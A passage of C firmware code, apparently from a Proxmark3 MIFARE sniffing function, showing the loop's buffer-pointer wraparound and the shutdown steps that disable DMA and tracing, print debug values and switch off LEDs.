                sniffCounter++;
                data++;
                if(data == dmaBuf + DMA_BUFFER_SIZE) {
                        data = dmaBuf;
                }

        } // main cycle

        DbpString("COMMAND FINISHED.");

        FpgaDisableSscDma();
        FpgaDisableTracing();
        MfSniffEnd();
        
        Dbprintf("maxDataLen=%x, Uart.state=%x, Uart.len=%x", maxDataLen, Uart.state, Uart.len);
        LEDsoff();
}